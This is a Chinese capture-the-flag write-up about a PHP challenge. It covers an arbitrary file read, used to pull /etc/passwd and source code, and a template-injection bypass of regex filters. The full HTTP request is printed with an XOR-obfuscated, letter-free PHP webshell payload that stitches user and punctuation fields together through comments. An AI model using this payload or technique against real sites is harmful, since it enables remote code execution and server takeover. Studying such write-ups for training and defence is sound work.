做杂项写脚本写到头皮发麻的ctf,我只遇到这一次,呜呜呜~还是我太菜了。。

这个题很有意思,写shell的姿势比较好玩,我在之前搞渗透的时候同样遇到类似手法,类似于某版本的derder的后台getshell。
所以就记录一下。
打开题目是一个登录口,个人习惯,先测一下注入,发现是不存在的,然后注册一个号上去康康,这一康不得了,发现了有个功能点有任意文件读取,他是去加载本地文件的一个功能。并且文件的路径和文件名可控,在测试了/etc/passwd,成功读取了。

然后在fuzz了一下flag文件名没有结果后,继续尝试下一步,把所有的源码读出来,我首先读了这个功能点的源码。发现是用的file_get_contents函数,所以并不存在文件包含。这里只能用来读源码了。

<?php
error_reporting(0);
$image = (string)$_GET['image'];
echo '<div class="img"> <img src="data:image/png;base64,' . base64_encode(file_get_contents($image)) . '" /> </div>';
?>
接下来继续读取index.php,我先把关键代码贴上再分析。
<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
    $hash_user = md5($_POST['user']);
    $hash_pass = 'zsf'.md5($_POST['pass']);
    if(isset($_POST['punctuation'])){
        //filter
        if (strlen($_POST['user']) > 6){
            echo("<script>alert('Username is too long!');</script>");
        }
        elseif(strlen($_POST['website']) > 25){
            echo("<script>alert('Website is too long!');</script>");
        }
        elseif(strlen($_POST['punctuation']) > 1000){
            echo("<script>alert('Punctuation is too long!');</script>");
        }
        else{
            if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
                if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
                    $_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
                    $template = file_get_contents('./template.html');
                    $content = str_replace("__USER__", $_POST['user'], $template);
                    $content = str_replace("__PASS__", $hash_pass, $content);
                    $content = str_replace("__WEBSITE__", $_POST['website'], $content);
                    $content = str_replace("__PUNC__", $_POST['punctuation'], $content);
                    file_put_contents('sandbox/'.$hash_user.'.php', $content);
                    echo("<script>alert('Successed!');</script>");
                }
                else{
                    echo("<script>alert('Invalid chars in website!');</script>");
                }
            }
            else{
                echo("<script>alert('Invalid chars in username!');</script>");
            }
        }
    }
    else{
        setcookie("user", $_POST['user'], time()+3600);
        setcookie("pass", $hash_pass, time()+3600);
        Header("Location:sandbox/$hash_user.php");
    }
}
?>

他这里会将传进来的密码MD5加密一下。在前面加上zsf。
判断是否为注册的条件是看是否传入'punctuation',如果没有传入他的话的话,他会判断为是登录行为,跳到else然后用之前的$hash_user为标识跳转到指定的页面。
如果是登录的话。首先会判断长度,然后嵌套了几个判断,用正则匹配去拦掉危险字符。只有所有条件都满足,才会成功注册。这里他的正则表达式。
我们先不去看,先看一下注册成功之后 的流程。他会先读取一个html文件赋值给\$content变量,然后用我们传进来的用户名网站等参数去替换他,然后写到一个新的文件,文件名以\$hash_user来命名。
登录的话,跳转的界面就是用\$hash_user来界定的,换句话来说,就是将每个用户的信息已经写道那个指定的文件了。
我们继续读取template.html来看接下来的代码。我贴出关键的部分。

        <?php
            error_reporting(0);
            $user = ((string)__USER__);
            $pass = ((string)__PASS__);

            if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
                echo($_COOKIE['user']);
            }
            else{
                die("<script>alert('Permission denied!');</script>");
            }
        ?>

关键代码在这里。这里的\__USER__和\__PASS__是我们再注的时候替换的地方,还有其他的两处在前端代码里。也就是,如果把\__PASS__这里的代码,换成我们的wbshell。那是不是就getshell了,这里登录成功与否,已经不重要了。。
现在我们回头去看正则表达式,由于密码会被哈希加密,我们就不用看了。。

if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user'])
if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) 
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);

User参数能输入的只有匹配字母、数字、下划线、还有括号、斜杠、星号、尖括号。

但是这里user参数,有长度限制,六个字符,确实写不了一个webshell,然后我们继续看下一个website,长度限制25,这里是可以写shell的,但是正则那里做了限制,
最后punctuation虽说没有长度限制,但是会将字母数字全替换为空这里问题不大,用异或或者取反,都能绕过,不就是一个小小的正则匹配嘛,办他!。但是这里有个问题,是’>’和‘?’会被替换,用PHP短标签不闭合不了,路走到这里就没了。
当我再看源码时发现了一个问题。

PUNC的位置在USER之后,我们在这里可以用多行注释将中间的代码注释掉,然后在PUNC的地方 写入注释结束符,再写webshell,让他们结合起来,咱自己不传,用他自带的php标签。那就解决问题了。
我们首先要将之前的括号给闭合掉然后再将中间代码注释,所以再user处我们传的内容就是“1)/”。
在punctuation处将注释闭合,然后写分号,这是php语法,没啥好说的然后后边再接上webshell,然后再接上/
因为后面没有闭合php标签,所以会报错。在后边加一个注释给他
(在写“+“加号的 时候注意这个问题,需要将加号url编码一下。因为加号这里是等于空格的。在rce的空格被ban时可以用+绕过,题外话这是。)
然后传进去的流量包就是这了

POST /index.php HTTP/1.1
Host: 120.77.216.55:22336
Content-Length: 98
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://120.77.216.55:22336
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://120.77.216.55:22336/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

user=1)/*&pass=rr&website=&punctuation=*/;@$_%2b%2b;$__='#./|{'^'|~`//';${$__}[!$_](${$__}[$_]);/*

写进去之后,这个文件的状态就是这样的,webshell是不是很自然的就写进去了,毫无违和感。

Webshell写进去之后就在根目录下拿到flag了